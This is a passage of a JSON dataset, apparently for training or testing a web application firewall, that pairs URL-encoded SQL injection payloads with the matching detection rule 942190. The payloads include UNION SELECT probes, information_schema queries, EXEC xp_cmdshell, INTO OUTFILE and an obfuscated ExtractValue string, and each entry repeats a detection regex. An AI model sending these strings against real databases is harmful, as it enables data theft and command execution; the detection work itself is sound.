"REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "%27union%20select%2F%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "from+information_schema.%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "select%5D%3Dpolygon%28%28%2F%2A%2100000select%2A%2F%2A%2F%2A%2100000from%2A%2F%28%2F%2A%2100000select%2A%2F%2A%2F%2A%2100000from%2A%2F%28%2F%2A%2100000select%2A%2Fconcat_ws%280x7e3a%2C0x6d616b6d616e%2Cversion%28%29%2Cuser%28%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "user%28%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "database%28%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "select%28user%28%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "SeLect%2A%2F+1%2C2%2C3%2Cuser%28%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "select%5D%3D%28ExtractValue%281%2C%28select%2520concat_ws%280x3a%2Cuser%28%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "from+%60information_schema%60%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "%27select+H%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "%27%3Bselect+p%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "FROM+INFORMATION_SCHEMA.%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "+EXEC+xp_cmdshell%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "%22%21+Y%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "exec+master.%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "into+outfile+%27%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "Union+sElect%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Code Execution and Information gathering attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "selectect%2520user%28%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": 